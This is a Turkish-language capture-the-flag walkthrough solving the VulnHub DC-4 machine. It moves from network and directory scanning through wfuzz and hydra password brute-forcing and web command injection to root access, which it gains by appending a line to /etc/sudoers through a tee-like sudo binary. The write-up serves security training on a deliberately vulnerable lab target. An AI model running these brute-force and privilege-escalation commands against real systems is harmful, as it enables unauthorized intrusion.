Merhaba, Bu yazımda sizlere VULNHUB ‘da yer alan DC-4 adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar… 😊

1. Keşif Aşaması

Makina kalıp dosyası siteden indirildikten sonra sanallaştırma yazılımları tarafından import edilir ve çalıştırılır. DHCP servisi tarafından atanan ip adresinin tespit edilmesi için netdiscover aracı ile ağda tarama yapılır.

netdiscover -i eth1
Hay aksi

Nmap ile tüm portlar ve açık olan portlarda çalışan servisler tespit edilir.

sudo nmap -sV -sC -p- 192.168.56.113
Hay aksi

80 portunda çalışan web servisine tarayıcından istek atılır.

Hay aksi

Web dizin taraması yapılır.

gobuster dir -u http://192.168.56.113 -w /usr/share/wordlists/dirb/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.56.113
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/10/02 08:33:12 Starting gobuster
===============================================================
/command.php (Status: 302)
/css (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 302)
/logout.php (Status: 302)
===============================================================
2020/10/02 08:33:26 Finished
===============================================================

Index.php sayfasının login.php sayfasına yönlendirilmiştir. Sqlmap ile login sayfasında Sql Injection açığı için kontrol edildiğinde herhangi bir zafiyet görülmektedir. Login sayfasına admin kullanıcısı için brute-force saldırısı yapılır. Admin kullanıcısı için happy parola bilgisi elde edilir.

wfuzz -c -z file,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt --hs incorrect -d "username=admin&password=FUZZ" http://192.168.56.113/login.php
Hay aksi

Admin kullanıcısı ile giriş yapılır.

Hay aksi

Command sayfasına giriş yapılır.

Hay aksi

Burpsuite aracı ile giden istekler incelenir. İstek gönderilirken boşluk karakteri + ile kodlanmaktadır. wget aracı ile shell alıncak dosya yüklenir. Ancak dizine yazma yetkisi sadece root kullanıcısına ait olduğundan başarısız olunur.

Hay aksi

ls komutu ile dizinlerde gezinilerek keşif yapılır. jim kullanıcısının home dizini altında bir parola listesi bulunur.

Hay aksi

cat komutu ile liste görüntülenir ve localhost’a ssh servisine yapılacak olan brute force saldırısı için kayıt edilir.

Hay aksi

Tespit edilen kullanıcılardan wordlist oluşturularak ve hydra aracı ile ssh servisine brute force saldırısı yapılır.

Hay aksi
hydra -L user.lst -P pass.lst ssh://192.168.56.113
Hay aksi

2. Erişim Sağlanması

Elde edilen bilgiler ile ssh bağlantısı yapılır. Sudo -l komutu girildiğinde parola istenmektedir. Parola rastgele girildiğinde hatalı deneme kullanıcıya mail olarak gönderilmektedir. /var/mail/ dizini altında yer alan jim dosyası okunarak kullanıcı mail kutusu kontrol edilir. Charles kullanıcısından gelen bir mailde parola bilgisi yer almaktadır. Charles kullanıcısına geçiş yapılır.

Hay aksi

3. Yetki Yükseltme

Charles kullanıcısına ait sudo yetkileri kontrol edilir.

Hay aksi

Teehee adlı uygulamanın root yetkisi ile kullanılabileceği tespit edilir. Uygulamanın içeriğine bakılır. Uygulamanın tee uygulaması ile aynı olduğu görülür.

strings /usr/bin/teehee
Hay aksi

tee uygulaması kendisine gönderilen çıktıyı hem dosyaya hemde standart çıkış olan terminal ekranına basar. Sudoers dosyasına charles kullanıcısının tüm komutlarını çalıştırması için düzenlenme yapılır.

echo "charles ALL=(ALL) ALL" | sudo teehee -a /etc/sudoers

Sudo su ile root kullanıcısına geçilerek /root dizininde yer alan flag değeri okunur.

Hay aksi